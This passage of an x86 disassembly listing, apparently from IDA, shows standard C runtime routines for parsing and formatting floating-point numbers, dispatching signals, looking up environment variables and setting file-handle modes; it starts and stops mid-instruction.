bl mov al, [ecx+eax*2] and eax, esi loc_425231: ; CODE XREF: sub_4250CD+154j test eax, eax jz short loc_425253 cmp [ebp+var_4], 19h jnb short loc_42524B mov eax, [ebp+var_C] inc [ebp+var_4] loc_425241: ; DATA XREF: ___:off_4384E0o sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_42524E ; --------------------------------------------------------------------------- loc_42524B: ; CODE XREF: sub_4250CD+16Cj inc [ebp+var_8] loc_42524E: ; CODE XREF: sub_4250CD+17Cj mov bl, [edi] inc edi jmp short loc_42520A ; --------------------------------------------------------------------------- loc_425253: ; CODE XREF: sub_4250CD+166j cmp bl, byte_43A890 jnz short loc_4252C2 loc_42525B: ; CODE XREF: sub_4250CD+CCj mov eax, esi jmp loc_425124 ; --------------------------------------------------------------------------- loc_425262: ; CODE XREF: sub_4250CD+63j ; DATA XREF: ___:off_42556Eo cmp [ebp+var_4], 0 ; jumptable 00425130 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_42527B loc_42526E: ; CODE XREF: sub_4250CD+1ACj cmp bl, 30h jnz short loc_42527B dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_42526E ; --------------------------------------------------------------------------- loc_42527B: ; CODE XREF: sub_4250CD+19Fj ; sub_4250CD+1A4j ... cmp dword_43A88C, edx jle short loc_425294 movzx eax, bl push esi push eax call sub_41F44A pop ecx pop ecx push 1 pop edx jmp short loc_4252A2 ; --------------------------------------------------------------------------- loc_425294: ; CODE XREF: sub_4250CD+1B4j mov ecx, off_43A680 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4252A2: ; CODE XREF: sub_4250CD+1C5j test eax, eax jz short loc_4252C2 cmp [ebp+var_4], 19h jnb short loc_4252BD mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_4252BD: ; CODE XREF: sub_4250CD+1DDj mov bl, [edi] inc edi jmp short loc_42527B ; --------------------------------------------------------------------------- loc_4252C2: ; CODE XREF: sub_4250CD+18Cj ; sub_4250CD+1D7j cmp bl, 2Bh jz loc_4251D5 cmp bl, 2Dh jz loc_4251D5 jmp loc_4251AE ; --------------------------------------------------------------------------- loc_4252D9: ; CODE XREF: sub_4250CD+63j ; DATA XREF: ___:off_42556Eo cmp dword_43A88C, edx ; jumptable 00425130 case 5 mov [ebp+var_24], edx jle short loc_4252F5 movzx eax, bl push esi push eax call sub_41F44A pop ecx pop ecx push 1 pop edx jmp short loc_425303 ; --------------------------------------------------------------------------- loc_4252F5: ; CODE XREF: sub_4250CD+215j mov ecx, off_43A680 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425303: ; CODE XREF: sub_4250CD+226j test eax, eax jz loc_4253B5 mov eax, esi jmp short loc_425366 ; --------------------------------------------------------------------------- loc_42530F: ; CODE XREF: sub_4250CD+63j ; DATA XREF: ___:off_42556Eo lea ecx, [edi-2] ; jumptable 00425130 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_42531F cmp bl, 39h jle short loc_425363 loc_42531F: ; CODE XREF: sub_4250CD+24Bj movsx eax, bl sub eax, 2Bh jz short loc_42539B dec eax dec eax jz short loc_42538F sub eax, 3 jnz loc_425443 loc_425334: ; CODE XREF: sub_4250CD+2A4j push 8 jmp short loc_42539D ; --------------------------------------------------------------------------- loc_425338: ; CODE XREF: sub_4250CD+63j ; DATA XREF: ___:off_42556Eo mov [ebp+var_20], edx ; jumptable 00425130 case 8 loc_42533B: ; CODE XREF: sub_4250CD+276j cmp bl, 30h jnz short loc_425345 mov bl, [edi] inc edi jmp short loc_42533B ; --------------------------------------------------------------------------- loc_425345: ; CODE XREF: sub_4250CD+271j cmp bl, 31h jl loc_425440 cmp bl, 39h jg loc_425440 jmp short loc_425363 ; --------------------------------------------------------------------------- loc_425359: ; CODE XREF: sub_4250CD+63j ; DATA XREF: ___:off_42556Eo cmp bl, 31h ; jumptable 00425130 case 7 jl short loc_42536C cmp bl, 39h jg short loc_42536C loc_425363: ; CODE XREF: sub_4250CD+250j ; sub_4250CD+28Aj push 9 loc_425365: ; CODE XREF: sub_4250CD+76j pop eax loc_425366: ; CODE XREF: sub_4250CD+240j dec edi jmp loc_425124 ; --------------------------------------------------------------------------- loc_42536C: ; CODE XREF: sub_4250CD+28Fj ; sub_4250CD+294j cmp bl, 30h jnz short loc_4253B5 jmp short loc_425334 ; --------------------------------------------------------------------------- loc_425373: ; CODE XREF: sub_4250CD+63j ; DATA XREF: ___:off_42556Eo cmp [ebp+arg_18], 0 ; jumptable 00425130 case 11 jz short loc_4253A3 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_42539B dec eax dec eax jnz loc_425443 loc_42538F: ; CODE XREF: sub_4250CD+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_425124 ; --------------------------------------------------------------------------- loc_42539B: ; CODE XREF: sub_4250CD+258j ; sub_4250CD+2B8j push 7 loc_42539D: ; CODE XREF: sub_4250CD+85j ; sub_4250CD+103j ... pop eax jmp loc_425124 ; --------------------------------------------------------------------------- loc_4253A3: ; CODE XREF: sub_4250CD+2AAj push 0Ah dec edi pop eax loc_4253A7: ; CODE XREF: sub_4250CD+5Dj ; sub_4250CD+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00425130 case 10 jz loc_425445 jmp loc_425124 ; --------------------------------------------------------------------------- loc_4253B5: ; CODE XREF: sub_4250CD+12Dj ; sub_4250CD+238j ... mov edi, [ebp+arg_8] jmp loc_425445 ; --------------------------------------------------------------------------- loc_4253BD: ; CODE XREF: sub_4250CD+63j ; DATA XREF: ___:off_42556Eo mov [ebp+var_20], 1 ; jumptable 00425130 case 9 xor esi, esi loc_4253C6: ; CODE XREF: sub_4250CD+339j cmp dword_43A88C, 1 jle short loc_4253DE movzx eax, bl push 4 push eax call sub_41F44A pop ecx pop ecx jmp short loc_4253ED ; --------------------------------------------------------------------------- loc_4253DE: ; CODE XREF: sub_4250CD+300j mov ecx, off_43A680 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_4253ED: ; CODE XREF: sub_4250CD+30Fj test eax, eax jz short loc_42540D movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_425408 mov bl, [edi] inc edi jmp short loc_4253C6 ; --------------------------------------------------------------------------- loc_425408: ; CODE XREF: sub_4250CD+334j mov esi, 1451h loc_42540D: ; CODE XREF: sub_4250CD+322j mov [ebp+var_1C], esi loc_425410: ; CODE XREF: sub_4250CD+371j cmp dword_43A88C, 1 jle short loc_425428 movzx eax, bl push 4 push eax call sub_41F44A pop ecx pop ecx jmp short loc_425437 ; --------------------------------------------------------------------------- loc_425428: ; CODE XREF: sub_4250CD+34Aj mov ecx, off_43A680 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_425437: ; CODE XREF: sub_4250CD+359j test eax, eax jz short loc_425440 mov bl, [edi] inc edi jmp short loc_425410 ; --------------------------------------------------------------------------- loc_425440: ; CODE XREF: sub_4250CD+99j ; sub_4250CD+E4j ... dec edi jmp short loc_425445 ; --------------------------------------------------------------------------- loc_425443: ; CODE XREF: sub_4250CD+261j ; sub_4250CD+2BCj mov edi, ecx loc_425445: ; CODE XREF: sub_4250CD+2DDj ; sub_4250CD+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_42552D push 18h pop eax cmp [ebp+var_4], eax jbe short loc_425471 cmp [ebp+var_45], 5 jl short loc_425465 inc [ebp+var_45] loc_425465: ; CODE XREF: sub_4250CD+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_425474 ; --------------------------------------------------------------------------- loc_425471: ; CODE XREF: sub_4250CD+38Dj mov eax, [ebp+var_C] loc_425474: ; CODE XREF: sub_4250CD+3A2j cmp [ebp+var_4], 0 jbe loc_425523 loc_42547E: ; CODE XREF: sub_4250CD+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_42548C dec [ebp+var_4] inc [ebp+var_8] jmp short loc_42547E ; --------------------------------------------------------------------------- loc_42548C: ; CODE XREF: sub_4250CD+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_425006 mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_4254AB neg eax loc_4254AB: ; CODE XREF: sub_4250CD+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_4254B6 add eax, [ebp+arg_10] loc_4254B6: ; CODE XREF: sub_4250CD+3E4j cmp [ebp+var_24], ecx jnz short loc_4254BE sub eax, [ebp+arg_14] loc_4254BE: ; CODE XREF: sub_4250CD+3ECj cmp eax, 1450h jle short loc_4254F5 mov [ebp+var_2C], 1 loc_4254CC: ; CODE XREF: sub_4250CD+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4254D8: ; CODE XREF: sub_4250CD+454j ; sub_4250CD+45Ej cmp [ebp+var_2C], 0 jz short loc_42553E xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_425553 ; --------------------------------------------------------------------------- loc_4254F5: ; CODE XREF: sub_4250CD+3F6j cmp eax, 0FFFFEBB0h jge short loc_425505 mov [ebp+var_30], 1 jmp short loc_4254CC ; --------------------------------------------------------------------------- loc_425505: ; CODE XREF: sub_4250CD+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_425CB6 mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4254D8 ; --------------------------------------------------------------------------- loc_425523: ; CODE XREF: sub_4250CD+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4254D8 ; --------------------------------------------------------------------------- loc_42552D: ; CODE XREF: sub_4250CD+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_425553 ; --------------------------------------------------------------------------- loc_42553E: ; CODE XREF: sub_4250CD+40Fj cmp [ebp+var_30], 0 jz short loc_425553 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_425553: ; CODE XREF: sub_4250CD+426j ; sub_4250CD+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4250CD endp ; --------------------------------------------------------------------------- off_42556E dd offset loc_425137 ; DATA XREF: sub_4250CD+63r dd offset loc_425186 ; jump table for switch statement dd offset loc_4251DD dd offset loc_425207 dd offset loc_425262 dd offset loc_4252D9 dd offset loc_42530F dd offset loc_425359 dd offset loc_425338 dd offset loc_4253BD dd offset loc_4253A7 dd offset loc_425373 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42559E proc near ; CODE XREF: sub_4244F9+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_425600 mov byte ptr [ebx+2], 2Dh jmp short loc_425604 ; --------------------------------------------------------------------------- loc_425600: ; CODE XREF: sub_42559E+5Aj mov byte ptr [ebx+2], 20h loc_425604: ; CODE XREF: sub_42559E+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_42562A test edi, edi jnz short loc_42562A cmp [ebp+arg_0], edi jnz short loc_42562A loc_425615: ; CODE XREF: sub_42559E+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_425828 ; --------------------------------------------------------------------------- loc_42562A: ; CODE XREF: sub_42559E+6Cj ; sub_42559E+70j ... cmp dx, si jnz short loc_4256A9 mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_425643 cmp [ebp+arg_0], 0 jz short loc_425652 loc_425643: ; CODE XREF: sub_42559E+9Dj test edi, 40000000h jnz short loc_425652 push offset a1Snan ; "1#SNAN" jmp short loc_425698 ; --------------------------------------------------------------------------- loc_425652: ; CODE XREF: sub_42559E+A3j ; sub_42559E+ABj test cx, cx jz short loc_42566C cmp edi, 0C0000000h jnz short loc_42566C cmp [ebp+arg_0], 0 jnz short loc_425693 push offset a1Ind ; "1#IND" jmp short loc_42567B ; --------------------------------------------------------------------------- loc_42566C: ; CODE XREF: sub_42559E+B7j ; sub_42559E+BFj cmp edi, eax jnz short loc_425693 cmp [ebp+arg_0], 0 jnz short loc_425693 push offset a1Inf ; "1#INF" loc_42567B: ; CODE XREF: sub_42559E+CCj lea eax, [ebx+4] push eax call sub_41C620 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_42568A: ; CODE XREF: sub_42559E+109j and [ebp+var_4], 0 jmp loc_425801 ; --------------------------------------------------------------------------- loc_425693: ; CODE XREF: sub_42559E+C5j ; sub_42559E+D0j ... push offset a1Qnan ; "1#QNAN" loc_425698: ; CODE XREF: sub_42559E+B2j lea eax, [ebx+4] push eax call sub_41C620 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_42568A ; --------------------------------------------------------------------------- loc_4256A9: ; CODE XREF: sub_42559E+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_425CB6 add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_42570A lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_425A96 pop ecx pop ecx loc_42570A: ; CODE XREF: sub_42559E+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_425724 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_425727 jmp loc_425615 ; --------------------------------------------------------------------------- loc_425724: ; CODE XREF: sub_42559E+173j mov edi, [ebp+arg_C] loc_425727: ; CODE XREF: sub_42559E+17Fj cmp edi, 15h jle short loc_42572F push 15h pop edi loc_42572F: ; CODE XREF: sub_42559E+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_425745: ; CODE XREF: sub_42559E+1B4j lea eax, [ebp+var_10] push eax call sub_424FAB dec [ebp+arg_14] pop ecx jnz short loc_425745 test esi, esi jge short loc_42576F neg esi and esi, 0FFh jle short loc_42576F loc_425762: ; CODE XREF: sub_42559E+1CFj lea eax, [ebp+var_10] push eax call sub_424FD9 dec esi pop ecx jnz short loc_425762 loc_42576F: ; CODE XREF: sub_42559E+1B8j ; sub_42559E+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_4257CC mov [ebp+arg_C], ecx loc_42577F: ; CODE XREF: sub_42559E+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_424FAB lea eax, [ebp+var_10] push eax call sub_424FAB lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_424F4D lea eax, [ebp+var_10] push eax call sub_424FAB mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_42577F mov eax, [ebp+arg_14] loc_4257CC: ; CODE XREF: sub_42559E+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_425809 loc_4257D9: ; CODE XREF: sub_42559E+248j cmp eax, ecx jb short loc_4257EC cmp byte ptr [eax], 39h jnz short loc_4257E8 mov byte ptr [eax], 30h dec eax jmp short loc_4257D9 ; --------------------------------------------------------------------------- loc_4257E8: ; CODE XREF: sub_42559E+242j cmp eax, ecx jnb short loc_4257F0 loc_4257EC: ; CODE XREF: sub_42559E+23Dj inc eax inc word ptr [ebx] loc_4257F0: ; CODE XREF: sub_42559E+24Cj inc byte ptr [eax] loc_4257F2: ; CODE XREF: sub_42559E+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_425801: ; CODE XREF: sub_42559E+F0j mov eax, [ebp+var_4] loc_425804: ; CODE XREF: sub_42559E+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_425809: ; CODE XREF: sub_42559E+239j ; sub_42559E+275j cmp eax, ecx jb short loc_425819 cmp byte ptr [eax], 30h jnz short loc_425815 dec eax jmp short loc_425809 ; --------------------------------------------------------------------------- loc_425815: ; CODE XREF: sub_42559E+272j cmp eax, ecx jnb short loc_4257F2 loc_425819: ; CODE XREF: sub_42559E+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_425828: ; CODE XREF: sub_42559E+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_425804 sub_42559E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425831 proc near ; CODE XREF: sub_42249C+223Dp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_425898 dec eax dec eax jz short loc_425889 sub eax, 4 jz short loc_425889 sub eax, 3 jz short loc_425889 sub eax, 4 jz short loc_42587C sub eax, 6 jz short loc_42586F dec eax jz short loc_425862 or eax, 0FFFFFFFFh jmp loc_42595A ; --------------------------------------------------------------------------- loc_425862: ; CODE XREF: sub_425831+27j mov esi, dword_4D9A14 mov eax, offset dword_4D9A14 jmp short loc_4258A3 ; --------------------------------------------------------------------------- loc_42586F: ; CODE XREF: sub_425831+24j mov esi, dword_4D9A10 mov eax, offset dword_4D9A10 jmp short loc_4258A3 ; --------------------------------------------------------------------------- loc_42587C: ; CODE XREF: sub_425831+1Fj mov esi, dword_4D9A18 mov eax, offset dword_4D9A18 jmp short loc_4258A3 ; --------------------------------------------------------------------------- loc_425889: ; CODE XREF: sub_425831+10j ; sub_425831+15j ... push edi call sub_42595E mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_4258A3 ; --------------------------------------------------------------------------- loc_425898: ; CODE XREF: sub_425831+Cj mov esi, dword_4D9A0C mov eax, offset dword_4D9A0C loc_4258A3: ; CODE XREF: sub_425831+3Cj ; sub_425831+49j ... cmp esi, 1 jnz short loc_4258AF xor eax, eax jmp loc_42595A ; --------------------------------------------------------------------------- loc_4258AF: ; CODE XREF: sub_425831+75j test esi, esi jnz short loc_4258BA push 3 call sub_41BF42 loc_4258BA: ; CODE XREF: sub_425831+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_4258CC cmp edi, 0Bh jz short loc_4258CC cmp edi, 4 jnz short loc_4258F2 loc_4258CC: ; CODE XREF: sub_425831+8Fj ; sub_425831+94j mov ebx, dword_4D97EC and dword_4D97EC, 0 cmp edi, ecx jnz short loc_425921 mov edx, dword_43ACDC mov dword_43ACDC, 8Ch mov [ebp+arg_0], edx jmp short loc_4258F5 ; --------------------------------------------------------------------------- loc_4258F2: ; CODE XREF: sub_425831+99j mov ebx, [ebp+arg_0] loc_4258F5: ; CODE XREF: sub_425831+BFj cmp edi, ecx jnz short loc_425921 mov eax, dword_43ACD0 mov ecx, dword_43ACD4 add ecx, eax cmp eax, ecx jge short loc_425928 lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43AC60h[edx*4] loc_425916: ; CODE XREF: sub_425831+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_425916 jmp short loc_425928 ; --------------------------------------------------------------------------- loc_425921: ; CODE XREF: sub_425831+AAj ; sub_425831+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_425936 loc_425928: ; CODE XREF: sub_425831+D7j ; sub_425831+EEj push dword_43ACDC push 8 call esi pop ecx pop ecx jmp short loc_425944 ; --------------------------------------------------------------------------- loc_425936: ; CODE XREF: sub_425831+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_425944 cmp edi, 4 jnz short loc_425957 loc_425944: ; CODE XREF: sub_425831+103j ; sub_425831+10Cj cmp edi, 8 mov dword_4D97EC, ebx jnz short loc_425957 mov eax, [ebp+arg_0] mov dword_43ACDC, eax loc_425957: ; CODE XREF: sub_425831+111j ; sub_425831+11Cj xor eax, eax pop ebx loc_42595A: ; CODE XREF: sub_425831+2Cj ; sub_425831+79j pop edi pop esi pop ebp retn sub_425831 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42595E proc near ; CODE XREF: sub_425831+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43ACD8 cmp dword_43AC5C, edx push esi mov eax, offset dword_43AC58 jz short loc_42598C lea esi, [ecx+ecx*2] lea esi, ds:43AC58h[esi*4] loc_425980: ; CODE XREF: sub_42595E+2Cj add eax, 0Ch cmp eax, esi jnb short loc_42598C cmp [eax+4], edx jnz short loc_425980 loc_42598C: ; CODE XREF: sub_42595E+16j ; sub_42595E+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43AC58h[ecx*4] cmp eax, ecx jnb short loc_4259A0 cmp [eax+4], edx jz short locret_4259A2 loc_4259A0: ; CODE XREF: sub_42595E+3Bj xor eax, eax locret_4259A2: ; CODE XREF: sub_42595E+40j retn sub_42595E endp ; =============== S U B R O U T I N E ======================================= sub_4259A3 proc near ; CODE XREF: sub_4246FC+23p arg_0 = dword ptr 4 cmp dword_4DADA8, 0 push ebx push esi mov esi, dword_4D973C push edi jz short loc_425A1A test esi, esi jnz short loc_4259D4 cmp dword_4D9744, esi jz short loc_425A1A call sub_425D71 test eax, eax jnz short loc_425A1A mov esi, dword_4D973C test esi, esi jz short loc_425A1A loc_4259D4: ; CODE XREF: sub_4259A3+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_425A1A push ebx call sub_41B960 pop ecx mov edi, eax loc_4259E5: ; CODE XREF: sub_4259A3+6Dj mov eax, [esi] test eax, eax jz short loc_425A1A push eax call sub_41B960 cmp eax, edi pop ecx jbe short loc_425A0D mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_425A0D push edi push ebx push eax call sub_425D32 add esp, 0Ch test eax, eax jz short loc_425A12 loc_425A0D: ; CODE XREF: sub_4259A3+51j ; sub_4259A3+59j add esi, 4 jmp short loc_4259E5 ; --------------------------------------------------------------------------- loc_425A12: ; CODE XREF: sub_4259A3+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_425A1C ; --------------------------------------------------------------------------- loc_425A1A: ; CODE XREF: sub_4259A3+10j ; sub_4259A3+1Cj ... xor eax, eax loc_425A1C: ; CODE XREF: sub_4259A3+75j pop edi pop esi pop ebx retn sub_4259A3 endp ; =============== S U B R O U T I N E ======================================= sub_425A20 proc near ; CODE XREF: sub_424DE6+8Bp ; sub_424DE6+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DAB60 jnb short loc_425A87 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DAA60[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_425A87 mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_425A60 and cl, 7Fh jmp short loc_425A6D ; --------------------------------------------------------------------------- loc_425A60: ; CODE XREF: sub_425A20+39j cmp [esp+4+arg_4], 4000h jnz short loc_425A7B or cl, 80h loc_425A6D: ; CODE XREF: sub_425A20+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_425A7B: ; CODE XREF: sub_425A20+48j mov dword_4D9714, 16h jmp short loc_425A91 ; --------------------------------------------------------------------------- loc_425A87: ; CODE XREF: sub_425A20+Bj ; sub_425A20+27j mov dword_4D9714, 9 loc_425A91: ; CODE XREF: sub_425A20+65j or eax, 0FFFFFFFFh pop esi retn sub_425A20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425A96 proc near ; CODE XREF: sub_42559E+165p ; sub_425CB6+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_425C96 cmp cx, 7FFFh jnb loc_425C96 cmp dx, 0BFFDh ja loc_425C96 cmp dx, 3FBFh ja short loc_425AFF xor eax, eax jmp short loc_425B39 ; --------------------------------------------------------------------------- loc_425AFF: ; CODE XREF: sub_425A96+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_425B21 inc [ebp+arg_0] test [esi+8], edx jnz short loc_425B21 xor eax, eax cmp [esi+4], eax jnz short loc_425B23 cmp [esi], eax jnz short loc_425B23 jmp loc_425C90 ; --------------------------------------------------------------------------- loc_425B21: ; CODE XREF: sub_425A96+71j ; sub_425A96+79j xor eax, eax loc_425B23: ; CODE XREF: sub_425A96+80j ; sub_425A96+84j cmp cx, ax jnz short loc_425B46 inc [ebp+arg_0] test [ebx+8], edx jnz short loc_425B46 cmp [ebx+4], eax jnz short loc_425B46 cmp [ebx], eax jnz short loc_425B46 loc_425B39: ; CODE XREF: sub_425A96+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_425CB1 ; --------------------------------------------------------------------------- loc_425B46: ; CODE XREF: sub_425A96+90j ; sub_425A96+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_425B56: ; CODE XREF: sub_425A96+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_425BAA add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_425B72: ; CODE XREF: sub_425A96+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_424F2C add esp, 0Ch test eax, eax jz short loc_425B9D mov eax, [ebp+var_4] inc word ptr [eax] loc_425B9D: ; CODE XREF: sub_425A96+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_425B72 loc_425BAA: ; CODE XREF: sub_425A96+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_425B56 add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_425BED loc_425BC8: ; CODE XREF: sub_425A96+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_425BE6 lea eax, [ebp+var_24] push eax call sub_424FAB add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_425BC8 loc_425BE6: ; CODE XREF: sub_425A96+136j cmp word ptr [ebp+arg_0], 0 jg short loc_425C26 loc_425BED: ; CODE XREF: sub_425A96+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_425C26 movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_425C06: ; CODE XREF: sub_425A96+184j test byte ptr [ebp+var_24], 1 jz short loc_425C0F inc [ebp+var_14] loc_425C0F: ; CODE XREF: sub_425A96+174j lea eax, 